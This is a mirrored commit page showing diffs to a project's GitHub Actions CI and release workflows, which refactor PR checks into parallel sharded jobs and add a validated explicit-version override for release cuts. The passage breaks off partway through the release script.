mirror of
https://github.com/stablyai/orca.git
synced 2026-10-19 16:03:26 +00:00
Merge remote-tracking branch 'origin/main' into brennanb2025/mobile-update-nudge
# Conflicts: # src/main/runtime/orca-runtime.test.ts
This commit is contained in:
@@ -10,3 +10,5 @@
|
||||
/skill-stubs/*.md text eol=lf
|
||||
/skills/*/SKILL.md text eol=lf
|
||||
/src/cli/bundled-skill-guides.ts text eol=lf
|
||||
# Bundled plugin trees are byte-hashed; CRLF checkout would break the pinned hash.
|
||||
/resources/plugins/** text eol=lf
|
||||
|
||||
@@ -0,0 +1,68 @@
|
||||
name: Install Node dependencies
|
||||
description: Installs the Node toolchain and repository dependencies for Linux CI jobs.
|
||||
|
||||
inputs:
|
||||
native-runtime:
|
||||
description: Native runtime to prepare after the script-free install (none, node, or electron).
|
||||
required: false
|
||||
default: none
|
||||
|
||||
runs:
|
||||
using: composite
|
||||
steps:
|
||||
# setup-node needs pnpm on PATH to locate and restore its store.
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@v6
|
||||
with:
|
||||
run_install: false
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version-file: package.json
|
||||
cache: pnpm
|
||||
|
||||
- name: Validate native runtime
|
||||
shell: bash
|
||||
env:
|
||||
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
|
||||
run: |
|
||||
case "$NATIVE_RUNTIME" in
|
||||
none|node|electron) ;;
|
||||
*)
|
||||
echo "::error::native-runtime must be none, node, or electron"
|
||||
exit 2
|
||||
;;
|
||||
esac
|
||||
|
||||
# pnpm's bundled gyp_main.py is not executable on fresh Linux runners.
|
||||
- name: Use external node-gyp
|
||||
if: inputs.native-runtime != 'none'
|
||||
shell: bash
|
||||
run: |
|
||||
npm install -g node-gyp@11.5.0
|
||||
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Prepare dependency install
|
||||
shell: bash
|
||||
run: |
|
||||
if [ -e node_modules ]; then
|
||||
ls -ld node_modules
|
||||
rm -rf node_modules
|
||||
fi
|
||||
|
||||
- name: Install dependencies
|
||||
shell: bash
|
||||
run: |
|
||||
pnpm install \
|
||||
--no-frozen-lockfile \
|
||||
--prefer-frozen-lockfile=false \
|
||||
--ignore-scripts
|
||||
git diff --exit-code package.json pnpm-lock.yaml
|
||||
|
||||
- name: Prepare native runtime
|
||||
if: inputs.native-runtime != 'none'
|
||||
shell: bash
|
||||
env:
|
||||
NATIVE_RUNTIME: ${{ inputs.native-runtime }}
|
||||
run: node config/scripts/ensure-native-runtime.mjs --runtime="$NATIVE_RUNTIME"
|
||||
@@ -10,7 +10,7 @@ on:
|
||||
workflow_dispatch:
|
||||
inputs:
|
||||
bump_patch_version:
|
||||
description: 'Bump the iOS marketing version patch number before release. Tick this after a version has shipped to the App Store (the release fails fast if the current version''s train is already closed).'
|
||||
description: 'Use the first open iOS patch version after the checked-in version, skipping versions already closed on the App Store.'
|
||||
required: false
|
||||
default: false
|
||||
type: boolean
|
||||
|
||||
@@ -30,6 +30,11 @@ jobs:
|
||||
with:
|
||||
node-version-file: package.json
|
||||
|
||||
- name: Setup Ruby
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '3.3'
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@v6
|
||||
with:
|
||||
@@ -56,6 +61,9 @@ jobs:
|
||||
- name: Test
|
||||
run: pnpm test
|
||||
|
||||
- name: Test iOS release version resolution
|
||||
run: ruby fastlane/ios_release_version_test.rb
|
||||
|
||||
- name: Lint
|
||||
run: pnpm lint
|
||||
|
||||
|
||||
+203
-95
@@ -8,62 +8,25 @@ on:
|
||||
- reopened
|
||||
- ready_for_review
|
||||
|
||||
concurrency:
|
||||
group: pr-checks-${{ github.event.pull_request.number }}
|
||||
cancel-in-progress: true
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
verify:
|
||||
static_analysis:
|
||||
name: static analysis
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
# Why: the freshness registry is derived from immutable release tags,
|
||||
# so shallow PR checkouts cannot verify historical official identities.
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install native build tools
|
||||
run: sudo apt-get update && sudo apt-get install -y build-essential python3 zlib1g-dev zsh
|
||||
|
||||
- name: Setup Node.js
|
||||
uses: actions/setup-node@v6
|
||||
with:
|
||||
node-version-file: package.json
|
||||
|
||||
- name: Setup pnpm
|
||||
uses: pnpm/action-setup@v6
|
||||
with:
|
||||
run_install: false
|
||||
|
||||
# Why: pnpm's bundled node-gyp ships gyp_main.py without execute
|
||||
# permission, which breaks native module builds (e.g. node-pty's
|
||||
# postinstall) with "/bin/sh: gyp_main.py: Permission denied".
|
||||
# Pin the fallback to the lockfile's node-gyp version so CI stays
|
||||
# reproducible while forcing pnpm to bypass its broken bundled copy.
|
||||
# Gate on runner.os == 'Linux' to match release.yml — the
|
||||
# npm-global path layout this step assumes is POSIX-shaped, and the
|
||||
# failure has only been observed on Linux runners. Today this job
|
||||
# pins runs-on: ubuntu-latest so the guard is a no-op, but it
|
||||
# prevents a silent break if a Windows/macOS matrix is added later.
|
||||
- name: Use external node-gyp to avoid pnpm's bundled copy (Linux only)
|
||||
if: runner.os == 'Linux'
|
||||
run: |
|
||||
npm install -g node-gyp@11.5.0
|
||||
echo "npm_config_node_gyp=$(npm root -g)/node-gyp/bin/node-gyp.js" >> "$GITHUB_ENV"
|
||||
|
||||
- name: Prepare dependency install
|
||||
run: |
|
||||
if [ -e node_modules ]; then
|
||||
ls -ld node_modules
|
||||
rm -rf node_modules
|
||||
fi
|
||||
|
||||
- name: Install dependencies
|
||||
# Why: pnpm 10.24's frozen headless fast path can fail on fresh Ubuntu
|
||||
# runners while creating the root node_modules. Use the normal resolver
|
||||
# path, then verify package metadata stayed unchanged.
|
||||
run: |
|
||||
pnpm install --no-frozen-lockfile --prefer-frozen-lockfile=false
|
||||
git diff --exit-code package.json pnpm-lock.yaml
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
- name: Lint
|
||||
run: pnpm exec oxlint --format github
|
||||
@@ -74,27 +37,15 @@ jobs:
|
||||
- name: Check reliability gate manifest
|
||||
run: pnpm run check:reliability-gates
|
||||
|
||||
# Why: oxlint fails any file over max-lines that is NOT suppressed, so this
|
||||
# ratchet forbids ADDING a new suppression (inline disable or mobile max
|
||||
# bump). Existing oversized files are grandfathered in
|
||||
# config/max-lines-baseline.txt, which may only shrink — new bypasses fail
|
||||
# here with a clear message instead of silently growing the debt.
|
||||
- name: Enforce max-lines ratchet (no new bypasses)
|
||||
- name: Enforce max-lines ratchet
|
||||
run: pnpm run check:max-lines-ratchet
|
||||
|
||||
# Why: the CLI embeds guide content while the skills CLI installs generated
|
||||
# projections from the repository, so stale output would split those two truths.
|
||||
- name: Verify bundled skill guides
|
||||
run: pnpm run verify:bundled-skill-guides
|
||||
|
||||
- name: Verify skill freshness manifest
|
||||
run: pnpm run verify:skill-bundle-manifest
|
||||
|
||||
# Why: project-owned type declarations must live in .ts so tsc
|
||||
# actually checks them. TypeScript's skipLibCheck: true (inherited
|
||||
# from @electron-toolkit/tsconfig) silently widens unresolved names
|
||||
# in .d.ts to `any`, which is how #1186 shipped a broken IPC signature
|
||||
# past typecheck. See docs/preload-typecheck-hole.md.
|
||||
- name: Guard against project-owned .d.ts in preload/shared
|
||||
run: |
|
||||
matches=$(find src/preload src/shared -name '*.d.ts' 2>/dev/null || true)
|
||||
@@ -113,55 +64,212 @@ jobs:
|
||||
- name: Verify macOS entitlements
|
||||
run: pnpm verify:macos-entitlements
|
||||
|
||||
- name: Typecheck
|
||||
run: pnpm typecheck
|
||||
typecheck:
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
- run: pnpm typecheck
|
||||
|
||||
git_compatibility:
|
||||
name: Git compatibility
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
|
||||
# Why: real old Git diagnostics differ from mocked errors. Keep the
|
||||
# fallback predicates executable across the baseline, transition, and
|
||||
# current command shapes so a newly added flag cannot silently regress.
|
||||
- name: Verify Git binary compatibility matrix
|
||||
run: |
|
||||
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
|
||||
source="$RUNNER_TEMP/git-2.25.5"
|
||||
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
|
||||
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
|
||||
| sha256sum --check
|
||||
mkdir -p "$source"
|
||||
tar -xzf "$archive" -C "$source" --strip-components=1
|
||||
make -C "$source" -j2 NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
|
||||
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
pids=()
|
||||
(
|
||||
archive="$RUNNER_TEMP/git-2.25.5.tar.gz"
|
||||
source="$RUNNER_TEMP/git-2.25.5"
|
||||
curl -fsSL https://www.kernel.org/pub/software/scm/git/git-2.25.5.tar.gz -o "$archive"
|
||||
echo "41662c52fc16fec4963bfc41075e71f8ead6b5e386797eb6f9a1111ff95a8ddf $archive" \
|
||||
| sha256sum --check
|
||||
mkdir -p "$source"
|
||||
tar -xzf "$archive" -C "$source" --strip-components=1
|
||||
make -C "$source" -j"$(nproc)" \
|
||||
NO_GETTEXT=YesPlease NO_TCLTK=YesPlease NO_PYTHON=YesPlease git
|
||||
ORCA_GIT_COMPAT_BINARY="$source/git" ORCA_GIT_COMPAT_VERSION="2.25.5" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
) &
|
||||
pids+=("$!")
|
||||
|
||||
for spec in \
|
||||
"alpine/git:edge-2.38.1|2.38.1" \
|
||||
"alpine/git:v2.49.1|2.49.1"; do
|
||||
image="${spec%%|*}"
|
||||
version="${spec#*|}"
|
||||
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
(
|
||||
image="${spec%%|*}"
|
||||
version="${spec#*|}"
|
||||
ORCA_GIT_COMPAT_IMAGE="$image" ORCA_GIT_COMPAT_VERSION="$version" \
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/shared/git-binary-compatibility.test.ts
|
||||
) &
|
||||
pids+=("$!")
|
||||
done
|
||||
|
||||
# Why: postinstall rebuilds better-sqlite3 for Electron's ABI via
|
||||
# @electron/rebuild, but vitest runs under system Node.js. Rebuild
|
||||
# it for Node so orchestration tests can load the native module.
|
||||
- name: Rebuild better-sqlite3 for Node
|
||||
run: pnpm rebuild better-sqlite3
|
||||
status=0
|
||||
for pid in "${pids[@]}"; do
|
||||
wait "$pid" || status=1
|
||||
done
|
||||
exit "$status"
|
||||
|
||||
shell_contracts:
|
||||
name: shell contracts
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Install zsh
|
||||
run: sudo apt-get update && sudo apt-get install -y zsh
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: node
|
||||
|
||||
- name: Test real shell contracts
|
||||
run: |
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
src/main/daemon/shell-ready.test.ts \
|
||||
src/main/daemon/node-pty-fd-leak.test.ts \
|
||||
src/main/providers/local-pty-shell-ready.test.ts \
|
||||
src/main/providers/__tests__/shell-ready-framework-example.test.ts \
|
||||
src/main/pty/omp-shell-wrapper.node-pty.test.ts \
|
||||
src/shared/posix-command-path-lookup.test.ts
|
||||
|
||||
test:
|
||||
name: tests ${{ matrix.shard }}/${{ strategy.job-total }}
|
||||
runs-on: ubuntu-latest
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
shard: [1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16]
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: node
|
||||
|
||||
# Why: install intentionally blocks Electron's package postinstall, but
|
||||
# some unit tests import `electron` under Node and require path.txt.
|
||||
- name: Install Electron package binary for tests
|
||||
run: node config/scripts/install-electron-package-binary.mjs
|
||||
|
||||
- name: Test
|
||||
run: pnpm test
|
||||
- name: Test shard
|
||||
run: |
|
||||
pnpm exec vitest run --config config/vitest.config.ts \
|
||||
--exclude=src/main/daemon/shell-ready.test.ts \
|
||||
--exclude=src/main/daemon/node-pty-fd-leak.test.ts \
|
||||
--exclude=src/main/providers/local-pty-shell-ready.test.ts \
|
||||
--exclude=src/main/providers/__tests__/shell-ready-framework-example.test.ts \
|
||||
--exclude=src/main/pty/omp-shell-wrapper.node-pty.test.ts \
|
||||
--exclude=src/shared/posix-command-path-lookup.test.ts \
|
||||
--shard=${{ matrix.shard }}/${{ strategy.job-total }}
|
||||
|
||||
- name: Build unpacked app
|
||||
run: pnpm build:unpack
|
||||
package:
|
||||
name: package
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Checkout
|
||||
uses: actions/checkout@v6
|
||||
with:
|
||||
persist-credentials: false
|
||||
|
||||
- name: Cache electron-builder downloads
|
||||
uses: actions/cache@v5
|
||||
with:
|
||||
path: |
|
||||
~/.cache/electron
|
||||
~/.cache/electron-builder
|
||||
key: electron-builder-linux-${{ hashFiles('pnpm-lock.yaml') }}
|
||||
restore-keys: |
|
||||
electron-builder-linux-
|
||||
|
||||
- uses: ./.github/actions/install-node-dependencies
|
||||
with:
|
||||
native-runtime: electron
|
||||
|
||||
- name: Build package inputs
|
||||
run: |
|
||||
status=0
|
||||
pnpm run build:cli || status=1
|
||||
|
||||
scripts=(build:relay build:electron-vite:parallel)
|
||||
pids=()
|
||||
for script in "${scripts[@]}"; do
|
||||
pnpm run "$script" &
|
||||
pids+=("$!")
|
||||
done
|
||||
|
||||
for pid in "${pids[@]}"; do
|
||||
wait "$pid" || status=1
|
||||
done
|
||||
exit "$status"
|
||||
|
||||
- name: Project web client from renderer build
|
||||
run: pnpm run build:web-from-renderer
|
||||
|
||||
- name: Build native components
|
||||
run: pnpm run build:native
|
||||
|
||||
- name: Package unpacked app
|
||||
env:
|
||||
ORCA_REUSE_PREPARED_NATIVE_RUNTIME: '1'
|
||||
run: pnpm exec electron-builder --config config/electron-builder.config.cjs --dir
|
||||
|
||||
# Why: the packaged CLI runs outside Electron's asar integration, so
|
||||
# bare runtime imports must be present in the package itself. Run from a
|
||||
# temp copy so Node cannot mask missing package deps with repo node_modules.
|
||||
- name: Smoke packaged CLI
|
||||
run: node config/scripts/smoke-packaged-cli.mjs --app-dir=dist/linux-unpacked
|
||||
|
||||
verify:
|
||||
if: always()
|
||||
needs:
|
||||
- static_analysis
|
||||
- typecheck
|
||||
- git_compatibility
|
||||
- shell_contracts
|
||||
- test
|
||||
- package
|
||||
runs-on: ubuntu-latest
|
||||
|
||||
steps:
|
||||
- name: Require successful checks
|
||||
env:
|
||||
STATIC_ANALYSIS: ${{ needs.static_analysis.result }}
|
||||
TYPECHECK: ${{ needs.typecheck.result }}
|
||||
GIT_COMPATIBILITY: ${{ needs.git_compatibility.result }}
|
||||
SHELL_CONTRACTS: ${{ needs.shell_contracts.result }}
|
||||
TEST: ${{ needs.test.result }}
|
||||
PACKAGE: ${{ needs.package.result }}
|
||||
run: |
|
||||
for result in \
|
||||
"$STATIC_ANALYSIS" \
|
||||
"$TYPECHECK" \
|
||||
"$GIT_COMPATIBILITY" \
|
||||
"$SHELL_CONTRACTS" \
|
||||
"$TEST" \
|
||||
"$PACKAGE"; do
|
||||
if [ "$result" != "success" ]; then
|
||||
exit 1
|
||||
fi
|
||||
done
|
||||
|
||||
@@ -42,7 +42,12 @@ on:
|
||||
default: false
|
||||
type: boolean
|
||||
version_suffix:
|
||||
description: Extra prerelease identifier appended to an rc version (e.g. "perf" -> 1.2.3-rc.4.perf). rc kind only.
|
||||
description: Extra prerelease identifier appended to an rc version (e.g. "perf" -> 1.2.3-rc.4.perf). Applies to kind=rc, or to an explicit version that is a bare X.Y.Z-rc.N.
|
||||
required: false
|
||||
type: string
|
||||
default: ''
|
||||
version:
|
||||
description: Exact version to cut (e.g. 1.4.155 or 1.4.155-rc.4), bypassing kind-based computation. Use to leapfrog a deleted/rolled-back stable that regressed the release list. Must be greater than the latest published stable, and an -rc.N must be above the highest RC already cut for its own base.
|
||||
required: false
|
||||
type: string
|
||||
default: ''
|
||||
@@ -68,9 +73,27 @@ jobs:
|
||||
should_release: ${{ steps.tag.outputs.tag != '' || steps.version.outputs.recovered_tag != '' }}
|
||||
latest_published_rc_tag: ${{ steps.publish_drafts.outputs.latest_published_tag }}
|
||||
steps:
|
||||
# Surfaces workflow_dispatch inputs as a table in the job summary
|
||||
# (kind, ref, dry_run, version_suffix) so runs are easy to audit.
|
||||
- uses: m-s-abeer/update-gha-summary-with-workflow-inputs@v1
|
||||
# Why inlined (not m-s-abeer/update-gha-summary-with-workflow-inputs):
|
||||
# this job runs with contents:write and secret scope, so avoid executing
|
||||
# any external (mutable @v1) action here. Surfaces every
|
||||
# workflow_dispatch input as a table for audit; the resolved commit /
|
||||
# branch / tag enrichment is written later in "Resolve ref SHA".
|
||||
# Inputs are passed as JSON via env and parsed by jq as data — never
|
||||
# interpolated into the shell — to avoid injection from dispatch values.
|
||||
- name: Summarize workflow inputs
|
||||
if: github.event_name == 'workflow_dispatch'
|
||||
env:
|
||||
INPUTS_JSON: ${{ toJSON(inputs) }}
|
||||
run: |
|
||||
{
|
||||
echo "## Workflow inputs"
|
||||
echo ""
|
||||
echo "| Input | Value |"
|
||||
echo "| --- | --- |"
|
||||
# Values are data from env JSON; wrap in backticks for readability.
|
||||
# Newlines collapsed so a multi-line input cannot break the table.
|
||||
jq -r '(. // {}) | to_entries[] | "| `\(.key)` | `\(.value | tostring | gsub("\n"; " "))` |"' <<<"$INPUTS_JSON"
|
||||
} >> "$GITHUB_STEP_SUMMARY"
|
||||
|
||||
- name: Checkout ref
|
||||
uses: actions/checkout@v6
|
||||
@@ -90,8 +113,17 @@ jobs:
|
||||
|
||||
- name: Resolve ref SHA
|
||||
id: resolve
|
||||
env:
|
||||
# Why: keep the caller's ref as data (env) so we can label it in the
|
||||
# summary without shell-interpolating a dispatch-controlled string
|
||||
# into the script body.
|
||||
INPUT_REF: ${{ github.event_name == 'schedule' && 'main' || inputs.ref }}
|
||||
REPO: ${{ github.repository }}
|
||||
SERVER_URL: ${{ github.server_url }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
sha="$(git rev-parse HEAD)"
|
||||
short_sha="$(git rev-parse --short=12 HEAD)"
|
||||
echo "sha=$sha" >>"$GITHUB_OUTPUT"
|
||||
|
||||
# Why: only push the version-bump commit back to main when the
|
||||
@@ -105,6 +137,97 @@ jobs:
|
||||
echo "push_main=false" >>"$GITHUB_OUTPUT"
|
||||
fi
|
||||
|
||||
# Always surface the resolved commit in the job summary, plus any
|
||||
# branches/tags that currently point at it (clickable). The raw
|
||||
# `ref` input alone is ambiguous (branch vs tag vs SHA); for SHA
|
||||
# inputs it also hides the human-readable names operators need
|
||||
# when auditing RC cuts.
|
||||
input_ref="${INPUT_REF:-main}"
|
||||
repo_url="${SERVER_URL}/${REPO}"
|
||||
|
||||
branches="$(
|
||||
git for-each-ref --format='%(refname:short)' --points-at="$sha" 'refs/remotes/origin/*' \
|
||||
| sed 's|^origin/||' \
|
||||
| grep -vx 'HEAD' \
|
||||
| sort -u \
|
||||
|| true
|
||||
)"
|
||||
tags="$(
|
||||
git for-each-ref --format='%(refname:short)' --points-at="$sha" 'refs/tags/*' \
|
||||
| sort -u \
|
||||
|| true
|
||||
)"
|
||||
|
||||
# Build comma-separated markdown links. Branch/tag names go in the
|
||||
# URL path as-is (slashes must stay literal for GitHub tree URLs).
|
||||
linkify_names() {
|
||||
local url_kind="$1"
|
||||
local names="$2"
|
||||
if [[ -z "${names//[$'\t\r\n']/}" ]]; then
|
||||
printf '_none_'
|
||||
return
|
||||
fi
|
||||
local first=1
|
||||
while IFS= read -r name; do
|
||||
[[ -z "$name" ]] && continue
|
||||
local path_name url
|
||||
path_name="${name// /%20}"
|
||||
case "$url_kind" in
|
||||
branch) url="${repo_url}/tree/${path_name}" ;;
|
||||
tag) url="${repo_url}/releases/tag/${path_name}" ;;
|
||||
*) url="${repo_url}" ;;
|
||||
esac
|
||||
if [[ "$first" -eq 1 ]]; then
|
||||
first=0
|
||||
else
|
||||
printf ', '
|
||||
fi
|
||||
printf '[`%s`](%s)' "$name" "$url"
|
||||
done <<<"$names"
|
||||
}
|
||||
|
||||
branch_md="$(linkify_names branch "$branches")"
|
||||
tag_md="$(linkify_names tag "$tags")"
|
||||
|
||||
# When no branch tip matches (historical SHA cuts), fall back to
|
||||
# name-rev so the summary still shows something like `main~3`.
|
||||
contains_md="_none_"
|
||||
if [[ "$branch_md" == "_none_" ]]; then
|
||||
approx="$(git name-rev --name-only --no-undefined --refs='refs/remotes/origin/*' "$sha" 2>/dev/null || true)"
|
||||
if [[ -n "$approx" ]]; then
|
||||
# name-rev prints remotes/origin/<branch>[~N]; strip to branch[~N].
|
||||
approx="${approx#remotes/origin/}"
|
||||
approx="${approx#origin/}"
|
||||
contains_md="\`${approx}\`"
|
||||
fi
|
||||
fi
|
||||
|
||||
input_kind="ref"
|
||||
if git rev-parse -q --verify "refs/remotes/origin/${input_ref}" >/dev/null 2>&1; then
|
||||
input_kind="branch"
|
||||
elif git rev-parse -q --verify "refs/tags/${input_ref}" >/dev/null 2>&1; then
|
||||
input_kind="tag"
|
||||
elif [[ "$input_ref" =~ ^[0-9a-fA-F]{7,40}$ ]]; then
|
||||
input_kind="sha"
|
||||
fi
|
||||
|
||||
{
|
||||
echo "## Resolved source"
|
||||
echo ""
|
||||
echo "Every cut resolves to a commit. Branch/tag rows list refs whose tip is that commit."
|
||||
echo ""
|
||||
echo "| Field | Value |"
|
||||
echo "| --- | --- |"
|
||||
echo "| Input ref | \`${input_ref}\` (${input_kind}) |"
|
||||
echo "| Commit | [\`${short_sha}\`](${repo_url}/commit/${sha}) |"
|
||||
echo "| Branches at commit | ${branch_md} |"
|
||||
echo "| Tags at commit | ${tag_md} |"
|
||||
if [[ "$branch_md" == "_none_" ]]; then
|
||||
echo "| Also on | ${contains_md} |"
|
||||
fi
|
||||
echo ""
|
||||
} >> "$GITHUB_STEP_SUMMARY"
|
||||
|
||||
- name: Compute RC slot
|
||||
id: slot
|
||||
run: |
|
||||
@@ -202,6 +325,7 @@ jobs:
|
||||
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
KIND: ${{ github.event_name == 'schedule' && 'rc' || inputs.kind }}
|
||||
VERSION_SUFFIX: ${{ github.event_name == 'schedule' && '' || inputs.version_suffix }}
|
||||
EXPLICIT_VERSION: ${{ github.event_name == 'schedule' && '' || inputs.version }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
@@ -264,6 +388,23 @@ jobs:
|
||||
node config/scripts/release-rc-history.mjs "$1"
|
||||
}
|
||||
|
||||
require_valid_version_suffix() {
|
||||
# Why a dot-appended identifier (rc.N.perf): it sorts just
|
||||
# above its own base rc.N but BELOW rc.N+1, so suffixed side-
|
||||
# branch builds never outrank the main RC series and cannot
|
||||
# hijack the update channel; clients find them by matching the
|
||||
# identifier ("perf") in the prerelease components.
|
||||
# Why the numeric alternation rather than plain [0-9A-Za-z]+:
|
||||
# semver forbids a leading zero on an all-digit identifier, and
|
||||
# `npm version` silently renormalizes rc.4.01 to rc.4.1 while the
|
||||
# tag step keeps the literal input — so the shipped package.json
|
||||
# version and its own release tag would name different releases.
|
||||
if [[ ! "$1" =~ ^(0|[1-9][0-9]*|[0-9A-Za-z]*[A-Za-z][0-9A-Za-z]*)$ ]]; then
|
||||
echo "::error::version_suffix (or the trailing .identifier in version) must be alphanumeric with no leading zero on an all-digit identifier, got: $1" >&2
|
||||
exit 1
|
||||
fi
|
||||
}
|
||||
|
||||
current_package_stable() {
|
||||
node -e '
|
||||
const { version } = require("./package.json");
|
||||
@@ -340,7 +481,14 @@ jobs:
|
||||
# floor for the current ref so the next cut cannot reuse an older
|
||||
# stable number just because the public release was nuked.
|
||||
if semver_gt "$package_stable" "$latest_stable"; then
|
||||
if [[ "$KIND" != "rc" ]]; then
|
||||
# Skip floor-tag recovery when an explicit version is requested:
|
||||
# recover_unpublished_tag can exit 0, which would recover the
|
||||
# package-floor tag instead of cutting the requested version —
|
||||
# defeating the very rollback scenario the override exists for.
|
||||
# We still raise latest_stable to the floor below so the explicit
|
||||
# version is gated against it; the collision recovery for the
|
||||
# requested tag runs later.
|
||||
if [[ "$KIND" != "rc" && -z "${EXPLICIT_VERSION:-}" ]]; then
|
||||
package_tag="v$package_stable"
|
||||
if git rev-parse "$package_tag" >/dev/null 2>&1; then
|
||||
recover_unpublished_tag "$package_tag" "current ref stable tag is newer than latest published stable" || true
|
||||
@@ -352,6 +500,98 @@ jobs:
|
||||
fi
|
||||
fi
|
||||
|
||||
# Explicit version override (manual dispatch only).
|
||||
#
|
||||
# Why: kind-based math derives the next number from the latest
|
||||
# *published* stable. When a shipped stable is deleted (e.g. a
|
||||
# rolled-back 1.4.154), the release list regresses to the prior
|
||||
# stable, so a kind cut recomputes a number at or below the nuked one
|
||||
# and strands every client that already installed the deleted build.
|
||||
# The package.json floor above only recovers this when the deleted
|
||||
# version's bump commit is on the ref being cut, which a hotfix cut
|
||||
# from an older RC ref does not carry. An explicit version lets a
|
||||
# human assert the exact target (e.g. leapfrog to 1.4.155); the
|
||||
# updater-safety gate and tag-collision recovery below still apply.
|
||||
new=""
|
||||
if [[ -n "${EXPLICIT_VERSION:-}" ]]; then
|
||||
explicit="${EXPLICIT_VERSION#v}"
|
||||
# Why the optional trailing identifier: it lets an operator name a
|
||||
# suffixed side-branch RC (X.Y.Z-rc.N.perf) directly, the same shape
|
||||
# the rc path cuts. Note this only ever admits one *above* the
|
||||
# series head — the gate below refuses a suffixed rc at or below it
|
||||
# just like a bare one, so this is a second spelling of
|
||||
# `version=X.Y.Z-rc.N` + `version_suffix`, not a way back into a
|
||||
# series that already shipped.
|
||||
# Why rc.(0|[1-9][0-9]{0,8}): the `-le` below compares with bash's
|
||||
# machine-width integers, so both ends of that range fall *open* on
|
||||
# exactly the RCs this gate must catch. A leading zero (rc.08) is an
|
||||
# invalid octal literal, and the failed test makes the `if` false.
|
||||
# Past INTMAX the literal wraps two's-complement, so whether it
|
||||
# reads as above or below the published rc depends on the value:
|
||||
# rc.99999999999999999999 wraps to 7766279631452241919 and sails
|
||||
# through. The cut then lands a tag that pins highest_rc_for_base
|
||||
# at 1e20 forever, and every later cut wraps to a *lower* rc that
|
||||
# sorts below it, so the fleet never updates again. Nine digits is
|
||||
# far above any real series and exact in bash math either way.
|
||||
if [[ ! "$explicit" =~ ^[0-9]+\.[0-9]+\.[0-9]+(-rc\.(0|[1-9][0-9]{0,8})(\.[0-9A-Za-z]+)?)?$ ]]; then
|
||||
echo "::error::version must be X.Y.Z, X.Y.Z-rc.N, or X.Y.Z-rc.N.suffix, got: $EXPLICIT_VERSION" >&2
|
||||
exit 1
|
||||
fi
|
||||
# Why route the embedded identifier through the same validator the
|
||||
# kind path uses: the regex above only checks shape, and rc.4.01
|
||||
# is a shape-valid identifier that is not valid semver.
|
||||
if [[ "$explicit" == *-rc.*.* ]]; then
|
||||
require_valid_version_suffix "${explicit##*.}"
|
||||
fi
|
||||
# Same updater-safety gate the kind path enforces: stable line must
|
||||
# strictly increase over the latest published stable (prerelease
|
||||
# identifiers ignored for the comparison).
|
||||
if ! semver_gt "$explicit" "$latest_stable"; then
|
||||
echo "::error::Refusing explicit version $explicit: not greater than latest stable $latest_stable." >&2
|
||||
exit 1
|
||||
fi
|
||||
# Why a second gate for prereleases: semver_gt compares through
|
||||
# strip_pre(), so the stable-line check reads 1.4.156-rc.0 as
|
||||
# 1.4.156 and waves it past a 1.4.155 stable even when rc.0..rc.3
|
||||
# already shipped — republishing an RC *below* what clients run,
|
||||
# the same regression class as the rc.4 cut that orphaned live
|
||||
# daemons. Anchor on the same rc history the kind path uses so the
|
||||
# override can only ever advance the series it targets.
|
||||
if [[ "$explicit" == *-rc.* ]]; then
|
||||
explicit_base="${explicit%%-*}"
|
||||
explicit_rc="${explicit#*-rc.}"
|
||||
explicit_rc="${explicit_rc%%.*}"
|
||||
highest_explicit_rc="$(highest_rc_for_base "$explicit_base")"
|
||||
if [[ -n "$highest_explicit_rc" && "$explicit_rc" -le "$highest_explicit_rc" ]]; then
|
||||
